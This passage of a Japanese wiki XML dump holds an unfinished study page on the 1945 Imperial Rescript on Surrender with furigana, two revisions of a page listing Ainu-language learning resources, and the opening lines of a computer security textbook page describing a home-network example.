&lt;ruby&gt;&lt;rb&gt;確&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く&lt;ruby&gt;&lt;rb&gt;神&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;州&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;不&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ふ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;滅&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;めつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;信&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;じ、&lt;ruby&gt;&lt;rb&gt;任&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;にん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;重&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おも&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;くして、&lt;ruby&gt;&lt;rb&gt;道&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みち&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;遠&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;とお&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;きを&lt;ruby&gt;&lt;rb&gt;念&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おも&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;い、&lt;ruby&gt;&lt;rb&gt;総&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;力&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;りょく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;将&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;来&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;らい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;建&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;けん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;設&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;傾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かたむ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;け、&lt;ruby&gt;&lt;rb&gt;道&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;どう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;義&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぎ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;篤&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;あつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;くし、&lt;ruby&gt;&lt;rb&gt;志&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;操&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;鞏&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;くし、&lt;ruby&gt;&lt;rb&gt;誓&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちかっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;て&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;体&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;精&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;華&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;か&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;発&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;はつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;揚&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;よう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;世&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;界&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;進&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;運&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;うん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;後&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;れざらんことを&lt;ruby&gt;&lt;rb&gt;期&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;き&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;すべし。&lt;ruby&gt;&lt;rb&gt;爾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なんじ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;臣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;其&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;れ
&lt;ruby&gt;&lt;rb&gt;克&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;よ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;意&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;い&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;体&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せよ。&lt;/p&gt;
&lt;/div&gt;
# [[#朕&amp;#xE0102;ハ玆ニ國體ヲ護持シ得テ]]
# [[#忠良ナル爾臣民ノ赤誠&amp;#xE0101;ニ信倚シ]]
# [[#常ニ爾臣民ト共ニ在リ]]
# [[#若シ夫レ情&amp;#xE0101;ノ激スル所&amp;#xE0101;]]
# [[#濫ニ事端ヲ滋クシ]]
# [[#或ハ同胞&amp;#xE0101;排擠]]
# [[#互ニ時局ヲ亂リ]]
# [[#爲ニ大道&amp;#xE0101;ヲ誤&amp;#xE0101;リ]]
# [[#信義ヲ世界ニ失フカ如キハ]]
# [[#朕&amp;#xE0102;最モ之ヲ戒ム]]
# [[#宜シク擧國一家子孫相傳ヘ]]
# [[#確ク神&amp;#xE0100;州ノ不滅ヲ信シ]]
# [[#任重クシテ]]
# [[#道&amp;#xE0101;遠&amp;#xE0101;キヲ念ヒ]]
# [[#總力ヲ將來ノ建&amp;#xE0101;設ニ傾ケ]]
# [[#道&amp;#xE0101;義ヲ篤クシ]]
# [[#志操ヲ鞏クシ]]
# [[#誓テ國體ノ精&amp;#xE0100;華ヲ發揚シ]]
# [[#世界ノ進&amp;#xE0101;運󠄁ニ後レサラムコトヲ期スヘシ]]
# [[#爾臣民其レ克ク朕&amp;#xE0102;カ意ヲ體セヨ]]

=== 朕&amp;#xE0102;ハ玆ニ國體ヲ護持シ得テ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 忠良ナル爾臣民ノ赤誠&amp;#xE0101;ニ信倚シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 常ニ爾臣民ト共ニ在リ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 若シ夫レ情&amp;#xE0101;ノ激スル所&amp;#xE0101; ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 濫ニ事端ヲ滋クシ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 或ハ同胞&amp;#xE0101;排擠 ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 互ニ時局ヲ亂リ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 爲ニ大道&amp;#xE0101;ヲ誤&amp;#xE0101;リ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 信義ヲ世界ニ失フカ如キハ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 朕&amp;#xE0102;最モ之ヲ戒ム ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 宜シク擧國一家子孫相傳ヘ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 確ク神&amp;#xE0100;州ノ不滅ヲ信シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 任重クシテ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 道&amp;#xE0101;遠&amp;#xE0101;キヲ念ヒ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 總力ヲ將來ノ建&amp;#xE0101;設ニ傾ケ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 道&amp;#xE0101;義ヲ篤クシ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 志操ヲ鞏クシ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 誓テ國體ノ精&amp;#xE0100;華ヲ發揚シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 世界ノ進&amp;#xE0101;運󠄁ニ後レサラムコトヲ期スヘシ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 爾臣民其レ克ク朕&amp;#xE0102;カ意ヲ體セヨ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;


=== § ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;


&lt;!--
&lt;ruby&gt;&lt;rb&gt;●漢字●&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;●ルビ●&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;
--&gt;
&lt;span style=&quot;color:#500;&quot;&gt;
&lt;/span&gt;
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;p style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;


&lt;div style=&quot;break-after: page;&quot;&gt;
&lt;!--
&lt;ruby&gt;&lt;rb&gt;●漢字●&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;●ルビ●&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;
--&gt;

== 脚注 ==
&lt;references /&gt;

==  外部リンク ==

[[Category:終戦の詔書|ちゆうかい]]</text>
      <sha1>pebwo5o81jg93md5kipqoe0gg96vc01</sha1>
    </revision>
  </page>
  <page>
    <title>アイヌ語 読書・資料案内</title>
    <ns>0</ns>
    <id>48743</id>
    <revision>
      <id>305230</id>
      <parentid>305186</parentid>
      <timestamp>2026-10-31T13:53:50Z</timestamp>
      <contributor>
        <username>BrassSnail</username>
        <id>71325</id>
      </contributor>
      <comment>内容追加</comment>
      <origin>305230</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="4492" sha1="gclii6rpoxwhkratx84mjg5601ugl9l" xml:space="preserve">[[アイヌ語]] &gt; '''学習に役立つ文献やウェブサイト'''

ここでは、トップページに載せられなかったものも含めて、アイヌ語の学習に役立つ様々な本、雑誌、ウェブサイトなどを紹介する。また、現在は外部サイトの[https://note.com/wombat13/n/nc98844bc2248 アイヌ語をがっつり学びたくなった時のための記事 – Wombat (note.com)]などもこの記事に類するものとして参考になる。

== アイヌ語に触れたい ==
アイヌ語かるた

== 学ぶ ==
ニューエクスプレスプラス アイヌ語

エクスプレス アイヌ語

中川裕『アイヌ語広文典』&lt;small&gt;{{ISBN|978-4-560-09963-6}}&lt;/small&gt;

アイヌ語ポータルサイト

== 音声を聞く ==
[https://ainugo.nam.go.jp/ 国立アイヌ民族博物館アイヌ語アーカイブ]

[https://ainu.ninjal.ac.jp/folklore/ アイヌ語口承文芸コーパス －音声・グロス付き - 国立国語研究所]

[https://ainugo.aa-ken.jp/ AA研アイヌ語資料 公開プロジェクト]

== 単語や実際の用例を調べる ==

=== 単語集、意味説明のみの辞書 ===
コンパクトに纏まっており全体が一望できるので、印刷してちょっと手元においておきたいときや知っている語を思い出したいときなどに便利かもしれない。これらの辞書にしか載っていないような貴重な情報もしばしばあるので、侮ってはいけない。

アイヌ語ポータルサイトより、単語リスト（アイヌ語・日本語）それぞれ1000語程度
* [https://www.ff-ainu.or.jp/teach/files/ishikari_tango.pdf －石狩川－]
* [https://www.ff-ainu.or.jp/teach/files/saru_tango.pdf －沙流－]
* [https://www.ff-ainu.or.jp/teach/files/karahuto_tango.pdf －カラフト－]

[https://itah.aynu.org/ja 樺太アイヌ語の辞書]全2495語（2026年10月時点）

[https://web.archive.org/web/20240226075541/https://tommy1949.world.coocan.jp/aynudictionary.htm 富田隆 氏によるアイヌ語電子辞書]1万5005項目、語数約1万8000語

[https://itak.aynu.org/ 現代アイヌ語翻訳用語集]1827項目（2026年10月時点）

=== 用例付き辞書、コーパス検索 ===
中川裕『アイヌ語千歳方言辞典』草風館（1995）&lt;small&gt;ISBN 978-4-88323-078-5&lt;/small&gt;

田村すゞ子『アイヌ語沙流方言辞典』草風館（1996）&lt;small&gt;ISBN 978-4-88323-093-8&lt;/small&gt;

萱野茂『萱野茂のアイヌ語辞典 新装版』三省堂（2026/1996）&lt;small&gt;ISBN 978-4-385-17053-4&lt;/small&gt; 図版320点付き

[https://ainugo.nam.go.jp/ 国立アイヌ民族博物館アイヌ語アーカイブ]
: 「音声を聞く」の節でも紹介。辞書以外の資料からも検索できる。辞書は、田村すず子『アイヌ語沙流方言辞典』（1996）、萱野茂著『萱野茂のアイヌ語辞典』（1996）、知里真志保『分類アイヌ語辞典　植物編・動物編』（1953）の3冊を基にしている。
: 辞書のみは

[https://kampisos.aynu.io/ Kampisos – aynu.io]

[https://corpus.aynu.org/ corpus.aynu.org – Aynu.org]

[https://ainu.ninjal.ac.jp/folklore/corpus/jp/ アイヌ語口承文芸コーパス ー音声・グロス付き－]

=== 特定分野に特化したもの ===
知里真志保『分類アイヌ語辞典』[https://www.i-repository.net/il/cont/01/G0000723jmpapers/000/686/000686661.pdf 「第１巻植物編（1953）」][https://www.i-repository.net/il/cont/01/G0000723jmpapers/000/686/000686613.pdf 「第２巻動物編（1962,遺稿）」][https://www.i-repository.net/il/cont/01/G0000723jmpapers/000/686/000686621.pdf 「第３巻人間編（1954）」]

[https://ainugo.nam.go.jp/siror/ アイヌと自然デジタル図鑑]
:上記の『分類アイヌ語辞典』の植物篇、動物篇から検索できるほか、その動植物に関わる伝承なども見ることができる。アイヌ語アーカイブや関連する物語にもリンクしている。

[https://ainu.ninjal.ac.jp/topic/ トピック別 アイヌ語会話辞典]

== アイヌ文化 ==

== アイヌ、アイヌ語、アイヌ文化等に関する様々なものを扱っている博物館 ==
https://ainu-upopoy.go.jp/museum/

== ポータルサイト ==
公益財団法人 アイヌ民族文化財団「[https://www.ff-ainu.or.jp/web/potal_site/index.html アイヌ語ポータルサイト]」

{{substub|20260825}}
[[category:アイヌ語]]</text>
      <sha1>gclii6rpoxwhkratx84mjg5601ugl9l</sha1>
    </revision>
    <revision>
      <id>305231</id>
      <parentid>305230</parentid>
      <timestamp>2026-10-31T15:25:04Z</timestamp>
      <contributor>
        <username>BrassSnail</username>
        <id>71325</id>
      </contributor>
      <comment>/* 特定分野に特化したもの */</comment>
      <origin>305231</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="4718" sha1="i54140c256k393fxiqcgzd5z8lvm8gs" xml:space="preserve">[[アイヌ語]] &gt; '''学習に役立つ文献やウェブサイト'''

ここでは、トップページに載せられなかったものも含めて、アイヌ語の学習に役立つ様々な本、雑誌、ウェブサイトなどを紹介する。また、現在は外部サイトの[https://note.com/wombat13/n/nc98844bc2248 アイヌ語をがっつり学びたくなった時のための記事 – Wombat (note.com)]などもこの記事に類するものとして参考になる。

== アイヌ語に触れたい ==
アイヌ語かるた

== 学ぶ ==
ニューエクスプレスプラス アイヌ語

エクスプレス アイヌ語

中川裕『アイヌ語広文典』&lt;small&gt;{{ISBN|978-4-560-09963-6}}&lt;/small&gt;

アイヌ語ポータルサイト

== 音声を聞く ==
[https://ainugo.nam.go.jp/ 国立アイヌ民族博物館アイヌ語アーカイブ]

[https://ainu.ninjal.ac.jp/folklore/ アイヌ語口承文芸コーパス －音声・グロス付き - 国立国語研究所]

[https://ainugo.aa-ken.jp/ AA研アイヌ語資料 公開プロジェクト]

[https://ainugo.hm.pref.hokkaido.lg.jp/ ほっかいどう　アイヌ語アーカイブ｜北海道博物館]

[http://itelmen.placo.net/Ainu-archives/index.html アイヌ語鵡川方言 日本語-アイヌ語辞典｜千葉大学大学院 人文社会科学研究科]

== 単語や実際の用例を調べる ==

=== 単語集、意味説明のみの辞書 ===
コンパクトに纏まっており全体が一望できるので、印刷してちょっと手元においておきたいときや知っている語を思い出したいときなどに便利かもしれない。これらの辞書にしか載っていないような貴重な情報もしばしばあるので、侮ってはいけない。

アイヌ語ポータルサイトより、単語リスト（アイヌ語・日本語）それぞれ1000語程度
* [https://www.ff-ainu.or.jp/teach/files/ishikari_tango.pdf －石狩川－]
* [https://www.ff-ainu.or.jp/teach/files/saru_tango.pdf －沙流－]
* [https://www.ff-ainu.or.jp/teach/files/karahuto_tango.pdf －カラフト－]

[https://itah.aynu.org/ja 樺太アイヌ語の辞書]全2495語（2026年10月時点）

[https://web.archive.org/web/20240226075541/https://tommy1949.world.coocan.jp/aynudictionary.htm 富田隆 氏によるアイヌ語電子辞書]1万5005項目、語数約1万8000語

[https://itak.aynu.org/ 現代アイヌ語翻訳用語集]1827項目（2026年10月時点）

=== 用例付き辞書、コーパス検索 ===
中川裕『アイヌ語千歳方言辞典』草風館（1995）&lt;small&gt;ISBN 978-4-88323-078-5&lt;/small&gt;

田村すゞ子『アイヌ語沙流方言辞典』草風館（1996）&lt;small&gt;ISBN 978-4-88323-093-8&lt;/small&gt;

萱野茂『萱野茂のアイヌ語辞典 新装版』三省堂（2026/1996）&lt;small&gt;ISBN 978-4-385-17053-4&lt;/small&gt; 図版320点付き

[https://ainugo.nam.go.jp/ 国立アイヌ民族博物館アイヌ語アーカイブ]
: 「音声を聞く」の節でも紹介。辞書以外の資料からも検索できる。辞書は、田村すず子『アイヌ語沙流方言辞典』（1996）、萱野茂著『萱野茂のアイヌ語辞典』（1996）、知里真志保『分類アイヌ語辞典　植物編・動物編』（1953）の3冊を基にしている。
: 辞書のみは

[https://kampisos.aynu.io/ Kampisos – aynu.io]

[https://corpus.aynu.org/ corpus.aynu.org – Aynu.org]

[https://ainu.ninjal.ac.jp/folklore/corpus/jp/ アイヌ語口承文芸コーパス ー音声・グロス付き－]

=== 特定分野に特化したもの ===
知里真志保『分類アイヌ語辞典』[https://www.i-repository.net/il/meta_pub/G0000723jmpapers_54277 「第１巻植物編（1953）」][https://www.i-repository.net/il/meta_pub/G0000723jmpapers_53484 「第２巻動物編（1962,遺稿）」][https://www.i-repository.net/il/meta_pub/G0000723jmpapers_53465 「第３巻人間編（1954）」]

[https://ainugo.nam.go.jp/siror/ アイヌと自然デジタル図鑑]
:上記の『分類アイヌ語辞典』の植物篇、動物篇から検索できるほか、その動植物に関わる伝承なども見ることができる。アイヌ語アーカイブや関連する物語にもリンクしている。

[https://ainu.ninjal.ac.jp/topic/ トピック別 アイヌ語会話辞典]

== アイヌ文化 ==

== アイヌ、アイヌ語、アイヌ文化等に関する様々なものを扱っている博物館 ==
https://ainu-upopoy.go.jp/museum/

== ポータルサイト ==
公益財団法人 アイヌ民族文化財団「[https://www.ff-ainu.or.jp/web/potal_site/index.html アイヌ語ポータルサイト]」

{{substub|20260825}}
[[category:アイヌ語]]</text>
      <sha1>i54140c256k393fxiqcgzd5z8lvm8gs</sha1>
    </revision>
  </page>
  <page>
    <title>コンピュータセキュリティ</title>
    <ns>0</ns>
    <id>48948</id>
    <revision>
      <id>305233</id>
      <parentid>305225</parentid>
      <timestamp>2026-11-01T00:33:00Z</timestamp>
      <contributor>
        <username>~2026-54076-02</username>
        <id>92740</id>
      </contributor>
      <comment>/* 安全にパスワードを使う */</comment>
      <origin>305233</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="92847" sha1="d2kt82xqxvcj52731bfmmjqixhxe6r5" xml:space="preserve">'''コンピュータセキュリティ'''はコンピュータの安全のことです。ここではコンピュータの安全を確保することを学びます。

== コンピュータセキュリティの基本 ==
コンピュータは弱いところから狙われるため、弱いところを無くすのがセキュリティの基本となります。

具体例を挙げましょう。一般的な光回線に繋がれてるホームネットワークを考えます。ここには光回線の先に繋がる上位ネットワークと家内のホームネットワーク (家庭におけるLAN) とを区切るエッジルーター（一般的にはハードウェア・ゲートウェイがこれに該当）が存在します。このホームネットワークに数台の新しいWindows PCと一台の古い機器が繋がっていると仮定します。

新しいWindows PC同士ではホームネットワーク経由でファイルをやり取りするためにファイルの共有 (SMB{{efn|Server Message Block}}) を有効にしているとします。一方、古い機器の方を脆弱性のある古いテレビとしましょう。このテレビはインターネットから繋いで地上デジタル放送を見るための DCTP+ {{efn|Digital Transmission Content Protection +}}が搭載されており、UPnP{{efn|Universal Plug and Play}}で自動的にエッジルーター搭載のファイアーウォールに穴あけてインターネット側から DCTP+ に繋がるようになっているものとします。

